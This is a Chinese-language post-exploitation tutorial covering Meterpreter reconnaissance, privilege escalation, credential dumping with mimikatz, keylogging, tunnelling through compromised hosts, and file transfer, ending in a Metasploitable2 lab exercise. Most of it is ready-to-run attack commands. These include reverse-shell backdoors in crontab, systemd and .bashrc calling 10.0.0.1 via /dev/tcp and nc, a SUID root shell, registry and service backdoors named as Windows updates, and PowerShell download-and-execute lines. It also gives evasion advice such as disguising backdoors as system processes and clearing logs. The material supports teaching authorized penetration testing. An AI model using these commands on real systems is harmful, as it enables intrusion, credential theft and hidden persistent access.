目录
一、Meterpreter高级功能
关联阅读:扫描探测 获取的漏洞信息引导初始立足点获取。
1.1 信息收集
系统枚举:
sysinfo # 系统概览 (OS, 主机名, 架构)
getuid # 当前用户身份
getprivs # 用户权限列表
ps # 进程列表
getsystem # 尝试提权到SYSTEM (Windows)
use priv # 加载提权扩展网络信息:
ipconfig / ifconfig # 网络接口信息
route # 路由表 (可用于后续路由转发)
arp # ARP表
netstat # 网络连接和监听端口高级信息收集模块:
getpid # 当前Meterpreter进程ID
use sniffer # 加载嗅探扩展
run post/windows/gather/enum_applications # 枚举已安装应用
run post/linux/gather/enum_system # Linux系统信息
run post/multi/gather/env # 环境变量
run post/windows/gather/checkvm # 是否在虚拟机中
run post/windows/gather/enum_domains # 枚举域信息
run post/multi/gather/firefox_creds # 提取Firefox凭证1.2 提权技术
Windows提权:
getsystem # 尝试直接提权 (SeDebugPrivilege)
getprivs # 查看令牌权限
use priv # 加载提权模块
hashdump # 导出密码Hash (需SYSTEM权限)
# 使用post模块
run post/multi/recon/local_exploit_suggester # 本地提权建议
run post/windows/escalate/ms10_073_kbdlayout # 具体exploitLinux提权:
sudo -l # 查看可执行的sudo命令
find / -perm -4000 -type f 2>/dev/null # 查找SUID文件
cat /etc/crontab # 查看计划任务
find / -writable -type f 2>/dev/null | grep -v proc # 可写文件
uname -a # 内核版本 (搜索提权exploit)
cat /etc/passwd # 用户列表1.3 进程迁移
为什么要迁移:
- 目标进程崩溃时会失联
- 迁移到更稳定的进程(如 explorer.exe, svchost.exe)
- 某些安全软件会监控可疑进程
ps # 查看进程列表
migrate PID # 迁移到指定PID
migrate -N explorer.exe # 迁移到指定进程名 (Windows)
migrate -N sshd # 迁移到指定进程名 (Linux)
getpid # 确认迁移成功1.4 键盘记录与截图
# 键盘记录 (Windows)
keyscan_start # 开始记录
keyscan_dump # 导出记录的按键
keyscan_stop # 停止记录
# 屏幕截图
screenshot # 截取目标桌面
use espia # 加载Espia模块 (更多屏幕功能)
# 通过sniffer模块嗅探
use sniffer
sniffer_interfaces # 列出可嗅探的接口
sniffer_start 1 # 开始嗅探接口1
sniffer_dump 1 capture.pcap # 导出数据1.5 凭证收集
关联阅读:密码破解 中可对导出的Hash进行离线破解。
Windows凭证收集:
# 基础Hash导出
hashdump
# 完善的Hash导出
run post/windows/gather/smart_hashdump
# 凭证收集器
run post/windows/gather/credentials/credential_collector
run post/windows/gather/enum_unattend # 无人值守安装文件Mimikatz集成(内存中提取明文密码):
load kiwi # 加载mimikatz模块
creds_all # 导出所有凭证
creds_kerberos # Kerberos票据
creds_msv # MSV凭证
creds_wdigest # WDigest凭证
kerberos_ticket_list # 列出Kerberos票据
kerberos_ticket_use # 使用票据
gold_ticket_create # 创建黄金票据
lsa_dump_sam # 导出SAM
lsa_dump_secrets # 导出LSA secretsLinux凭证收集:
run post/linux/gather/hashdump # 导出/etc/shadow
run post/multi/gather/firefox_creds # Firefox凭证
run post/multi/gather/enum_unattend # 无人值守配置1.6 端口转发
# 将目标内网的3389端口转发到攻击机的3388
portfwd add -L 0.0.0.0 -l 3388 -p 3389 -r 10.0.0.10
# 将内网Web服务转发到攻击机80端口
portfwd add -L 0.0.0.0 -l 80 -p 80 -r 10.0.0.100
# 管理转发
portfwd list
portfwd delete -L 0.0.0.0 -l 33881.7 路由转发
# 查看目标网络信息
route
arp
# 添加路由 (通过已控制的机器访问内网)
run autoroute -s 10.0.0.0/24
run autoroute -p # 查看已添加的路由
# 通过SOCKS代理访问 (配合proxychains)
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1080
run -j
# 之后配置 /etc/proxychains.conf 添加: socks4 127.0.0.1 1080
# 使用: proxychains nmap -sT -Pn 10.0.0.5二、持久化技术
2.1 Linux持久化
SSH密钥后门:
# 在目标机器上:
ssh-keygen -t ed25519 -f ~/.ssh/backdoor -N ""
cat ~/.ssh/backdoor.pub >> ~/.ssh/authorized_keys
# 将私钥带回攻击机 (Meterpreter)
download ~/.ssh/backdoor /root/keys/target_ssh_key
# 从攻击机连接
chmod 600 /root/keys/target_ssh_key
ssh -i /root/keys/target_ssh_key user@targetCrontab后门:
# 每5分钟执行一次反弹shell
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.update.sh") | crontab -/tmp/.update.sh 内容:
#!/bin/bash
bash -i >& /dev/tcp/10.0.0.1/5555 0>&1Systemd服务后门:
创建 /etc/systemd/system/backup.service:
[Unit]
Description=System Backup Service
[Service]
Type=simple
ExecStart=/usr/bin/nc -e /bin/bash 10.0.0.1 5555
Restart=always
[Install]
WantedBy=multi-user.targetsystemctl daemon-reload
systemctl enable backup.service
systemctl start backup.service.bashrc/.profile 后门:
echo "bash -i >& /dev/tcp/10.0.0.1/5555 0>&1 2>/dev/null &" >> ~/.bashrcSUID后门(需root):
cp /bin/bash /tmp/.shell
chmod 4755 /tmp/.shell
# 任何用户执行 /tmp/.shell -p 即可获得root shell2.2 Windows持久化
注册表Run键:
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run \
-v "WindowsUpdate" -d "C:\\Windows\\Temp\\payload.exe"计划任务:
schtasks /create /tn "WindowsUpdate" /tr "C:\payload.exe" \
/sc daily /st 09:00 /ru SYSTEMWindows服务:
sc create "WinUpdate" binPath= "C:\payload.exe" start= auto
sc start "WinUpdate"Metasploit持久化模块:
# Meterpreter中:
run persistence -U -i 60 -p 4444 -r 10.0.0.1
# -U: 用户登录时启动
# -i 60: 每60秒回连一次
# -p 4444: 监听端口
# -r 10.0.0.1: 回连IP
# 更好的持久化模块
run exploit/windows/local/persistence
run exploit/windows/local/persistence_service三、横向移动
3.1 SSH隧道技术
| 类型 | 参数 | 方向 | 用途 |
|---|---|---|---|
| 本地端口转发 | -L | 攻击机→跳板机→内网 | 通过跳板机访问内网服务 |
| 远程端口转发 | -R | 内网机器→攻击机 | 将内网服务暴露给攻击机 |
| 动态端口转发 | -D | 攻击机→跳板机→任意 | SOCKS代理 |
| 多重跳板 | -J | 多级跳转 | 链式跳板 |
本地端口转发:
# 通过跳板机访问内网Web
ssh -L 8080:10.0.0.5:80 user@jumphost
# 攻击机 localhost:8080 → jumphost → 10.0.0.5:80远程端口转发:
# 在内网机器上执行, 将RDP暴露给攻击机
ssh -R 3389:10.0.0.5:3389 user@attacker
# attacker:3389 → 内网机器 → 10.0.0.5:3389动态端口转发(SOCKS代理):
# 在攻击机上建立SOCKS代理
ssh -D 1080 user@jumphost -fN
# 之后配置 proxychains 使用 socks5 127.0.0.1 1080多重跳板:
ssh -J user1@jumphost1,user2@jumphost2 user3@finaltarget3.2 proxychains配置与使用
配置文件 /etc/proxychains.conf 末尾添加:
socks4 127.0.0.1 9050 # Tor代理
socks4 127.0.0.1 1080 # SSH动态转发代理
http 10.0.0.1 8080 # HTTP代理
代理链类型:
| 模式 | 说明 |
|---|---|
strict_chain | 按顺序使用代理(更安全) |
dynamic_chain | 动态跳过不可用的代理 |
random_chain | 随机选择代理 |
使用方法:
proxychains nmap -sT -Pn -p 80,443,3389 10.0.0.5
proxychains hydra -l admin -P pass.txt 10.0.0.5 ssh
proxychains firefox3.3 Chisel隧道工具
Chisel是多平台TCP/UDP隧道工具,通过HTTP伪装传输,适合绕过仅开放HTTP出站的环境。
服务器端(攻击机):
chisel server -p 8080 --reverse
# 监听8080端口, 允许反向连接客户端(目标机):
# 反向SOCKS代理 (目标机连回攻击机)
chisel client 10.0.0.1:8080 R:socks
# 反向端口转发 (将内网服务暴露给攻击机)
chisel client 10.0.0.1:8080 R:3389:10.0.0.5:3389
# 正向端口转发 (攻击机通过目标机访问内网)
chisel client 10.0.0.1:8080 1081:10.0.0.5:80典型场景:
# 场景1: 通过妥协的DMZ服务器访问内网
# 攻击机: chisel server -p 443 --reverse
# DMZ: chisel client 攻击机IP:443 R:socks
# 攻击机: proxychains nmap 内网IP
# 场景2: 绕过严格出站限制 (仅允许HTTPS)
# 攻击机: chisel server -p 443 --reverse
# 目标: chisel client 攻击机IP:443 R:3389:127.0.0.1:3389
# 攻击机: rdesktop 127.0.0.1:3389四、文件传输技巧
4.1 常用下载方法
# 攻击机先开启HTTP服务
python3 -m http.server 8000
# 目标机下载
wget http://10.0.0.1:8000/tool.sh -O /tmp/tool.sh
curl http://10.0.0.1:8000/tool.sh -o /tmp/tool.sh
# Netcat传输
# 攻击机:
nc -lvp 4444 < /root/tools/nc.exe
# 目标机:
nc 10.0.0.1 4444 > C:\Windows\Temp\nc.exe
# SCP
scp /local/file user@target:/remote/path/
scp -i keyfile /local/file user@target:/remote/path/
# Rsync
rsync -avz /local/dir/ user@target:/remote/dir/
# Base64编码传输 (绕过限制)
# 攻击机:
base64 -w0 payload.bin > payload_b64.txt
# 目标机:
echo "<B64_STRING>" | base64 -d > /tmp/payload.binMeterpreter传输:
upload /local/payload.exe C:\\Windows\\Temp\\payload.exe
download C:\\Windows\\System32\\config\\SAM /root/evidence/SAM4.2 PowerShell与Certutil
# PowerShell下载
powershell -c "Invoke-WebRequest -Uri http://10.0.0.1:8000/payload.exe -OutFile C:\Temp\payload.exe"
# PowerShell内存加载 (无文件落地)
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1:8000/script.ps1')"
# Certutil下载 (Windows, 绕过限制)
certutil -urlcache -split -f http://10.0.0.1:8000/payload.exe C:\Temp\payload.exe4.3 Bash /dev/tcp
# 攻击机监听
nc -lvp 4444 > received_file
# 目标机发送
cat file_to_send > /dev/tcp/10.0.0.1/4444
# 接收文件
exec 3<>/dev/tcp/10.0.0.1/4444
cat <&3 > received_file五、后渗透与横向移动流程总览
flowchart TD A[获得初始立足点<br>Shell/Meterpreter] --> B[信息收集] B --> B1[系统信息: sysinfo, whoami, uname -a] B --> B2[网络信息: route, arp, netstat] B --> B3[凭证收集: hashdump, kiwi, shadow] B --> B4[敏感文件搜索: find *.conf, *.sql, id_rsa] B1 --> C{当前权限?} B2 --> C B3 --> C B4 --> C C -->|普通用户| D[提权] C -->|root/SYSTEM| E[凭证导出] D --> D1[Linux: SUID, sudo -l, kernel exploit] D --> D2[Windows: getsystem, local_exploit_suggester] D1 --> E D2 --> E E --> F[持久化建立] E --> G[横向移动] F --> F1[Linux: SSH密钥, Crontab, Systemd] F --> F2[Windows: 注册表, 计划任务, 服务] G --> G1[发现内网目标: route, arp, /etc/hosts] G1 --> G2[隧道建立: SSH -L/-D, Chisel] G2 --> G3[代理扫描: proxychains nmap] G3 --> G4[内网利用: 密码重用, 漏洞攻击] F1 --> H[继续内网渗透] F2 --> H G4 --> H
sequenceDiagram participant A as 攻击机<br>192.168.1.50 participant T1 as 目标1 (跳板)<br>192.168.1.100 participant T2 as 目标2 (内网)<br>10.0.0.5 Note over A,T1: 阶段1: 获取初始立足点 A->>T1: 漏洞利用 (VSFTPD后门) T1->>A: 返回root shell Note over A,T1: 阶段2: 信息收集 & 持久化 A->>T1: 收集系统/网络信息 A->>T1: 安装SSH密钥后门 A->>T1: 安装Crontab反弹shell Note over A,T1: 阶段3: 横向移动 A->>T1: ssh -D 1080 root@T1 (动态代理) A->>A: 配置proxychains socks4 127.0.0.1:1080 Note over A,T2: 阶段4: 通过代理扫描内网 A->>T2: proxychains nmap -sT -Pn 10.0.0.5 Note over A,T2: 阶段5: 端口转发访问内网服务 A->>T1: ssh -L 8080:10.0.0.5:80 root@T1 A->>T2: 访问 localhost:8080 = 10.0.0.5:80
六、实践练习
实验环境:攻击机 (192.168.1.50),目标1 Metasploitable2 (192.168.1.100),目标2 模拟内网 (10.0.0.5)
阶段一:获取初始Shell
msfconsole -q
use auxiliary/scanner/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.100
run
# 成功则获得root shell
sessions -l
sessions -i 1
# 升级到Meterpreter (可选)
sessions -u 1阶段二:信息收集
whoami && id
uname -a
cat /etc/passwd
cat /etc/shadow
cat /etc/crontab
cat /etc/hosts
ip addr show
route -n
ps aux
netstat -tulnp
cat /etc/ssh/sshd_config
# 保存信息到文件
mkdir -p /tmp/recon
cat /etc/passwd > /tmp/recon/users
ip addr show > /tmp/recon/network
route -n > /tmp/recon/routes
# 查看历史记录
cat ~/.bash_history
cat /root/.bash_history
# 搜索敏感文件
find / -name "*.conf" -type f 2>/dev/null | head -20
find / -name "*.sql" -type f 2>/dev/null
find / -name "*pass*" -type f 2>/dev/null
find / -name "id_rsa" -type f 2>/dev/null
find / -name "*.pem" -type f 2>/dev/null阶段三:凭证收集
# 检查SSH密钥
ls -la ~/.ssh/
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa
cat ~/.ssh/authorized_keys
# 检查数据库配置
find / -name "wp-config.php" 2>/dev/null
cat /var/www/dvwa/config/config.inc.php 2>/dev/null
cat /var/www/mutillidae/config.inc 2>/dev/null
# 查看MySQL数据库
mysql -u root -e "SELECT User,Password FROM mysql.user;"
mysql -u root -e "SHOW DATABASES;"阶段四:建立持久化
# 1. SSH密钥后门
mkdir -p ~/.ssh
ssh-keygen -t rsa -b 2048 -f ~/.ssh/backdoor -N "" -q
cat ~/.ssh/backdoor.pub >> ~/.ssh/authorized_keys
# 获取私钥到攻击机
# 攻击机执行: nc -lvp 5555 > ms2_backdoor
# 目标机执行: cat ~/.ssh/backdoor > /dev/tcp/192.168.1.50/5555
# 测试SSH密钥连接
chmod 600 ~/.ssh/ms2_backdoor
ssh -i ~/.ssh/ms2_backdoor root@192.168.1.100
exit
# 2. Crontab后门
echo "*/5 * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" > /etc/cron.d/backup
systemctl restart cron
# 验证crontab后门
# 攻击机执行: nc -lvp 4444 (等待5分钟内收到反弹shell)阶段五:横向移动模拟
# 发现内网目标
cat /etc/hosts
arp -a
# SSH动态代理
ssh -i ~/.ssh/ms2_backdoor -D 1080 root@192.168.1.100 -fN
# 配置proxychains
# 编辑 /etc/proxychains.conf, 末尾添加: socks4 127.0.0.1 1080
# 通过代理探测内网
proxychains nmap -sT -Pn -p 22,80,445,3389 10.0.0.5
proxychains curl http://10.0.0.5 2>/dev/null
# 本地端口转发访问内网Web
ssh -i ~/.ssh/ms2_backdoor -L 8080:10.0.0.5:80 root@192.168.1.100 -fN
# 浏览器打开: http://localhost:8080阶段六:清理持久化后门
# 移除SSH后门
ssh root@192.168.1.100
rm ~/.ssh/backdoor ~/.ssh/backdoor.pub
# 编辑 ~/.ssh/authorized_keys 删除后门公钥行
# 移除crontab后门
rm /etc/cron.d/backup
# 关闭后门SSH连接
pkill -f "ssh.*192.168.1.100"
exit阶段七:编写后渗透实践报告
echo "=== 后渗透实践报告 ===" > post_exploit_report.txt
echo "" >> post_exploit_report.txt
echo "目标: Metasploitable2 (192.168.1.100)" >> post_exploit_report.txt
echo "初始访问: VSFTPD v2.3.4 后门 (CVE-2011-2523)" >> post_exploit_report.txt
echo "权限: root" >> post_exploit_report.txt
echo "" >> post_exploit_report.txt
echo "收集的信息:" >> post_exploit_report.txt
echo " - 系统版本: Linux 2.6.24" >> post_exploit_report.txt
echo " - 用户列表: root, msfadmin, user, ..." >> post_exploit_report.txt
echo " - 网络接口: eth0 192.168.1.100" >> post_exploit_report.txt
echo " - 运行服务: 21, 22, 80, 3306, 6667, ..." >> post_exploit_report.txt
echo "" >> post_exploit_report.txt
echo "持久化方法:" >> post_exploit_report.txt
echo " - SSH密钥 (已安装)" >> post_exploit_report.txt
echo " - Crontab反弹shell (已安装)" >> post_exploit_report.txt
echo "" >> post_exploit_report.txt
echo "横向移动:" >> post_exploit_report.txt
echo " - SSH动态代理 (-D 1080)" >> post_exploit_report.txt
echo " - Proxychains链接" >> post_exploit_report.txt注意事项
- 所有持久化技术仅在授权测试中使用
- 持久化后门应在渗透测试结束后立即移除
- 使用非标准端口和加密通道减少检测风险
- 后门程序命名模仿系统进程名(如 update, backup, sync)
- SSH隧道在日志中可见,需配合日志清理(参见 痕迹清除)
- proxychains对UDP扫描有限制,
nmap -sU不适用 - Chisel的HTTP伪装能有效绕过多数防火墙
- Windows持久化需注意杀软检测,做好免杀
- 横向移动前需充分侦察内网拓扑,减少盲目扫描
- Metasploitable2本身就是被入侵的靶机,请勿在公网暴露